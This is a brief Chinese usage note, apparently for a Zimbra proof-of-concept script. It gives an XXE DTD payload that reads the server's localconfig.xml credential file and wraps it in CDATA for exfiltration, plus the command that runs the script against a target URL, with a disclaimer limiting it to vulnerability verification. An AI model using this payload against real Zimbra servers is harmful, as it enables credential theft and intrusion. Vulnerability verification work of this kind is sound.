用法
- 需要自己在源代码中修改dtd_url为如下内容的dtd地址:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"> <!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
- 使用方法:
python zimbra_poc.py https://target.com
- POC仅供验证漏洞使用,请勿用于非法用途。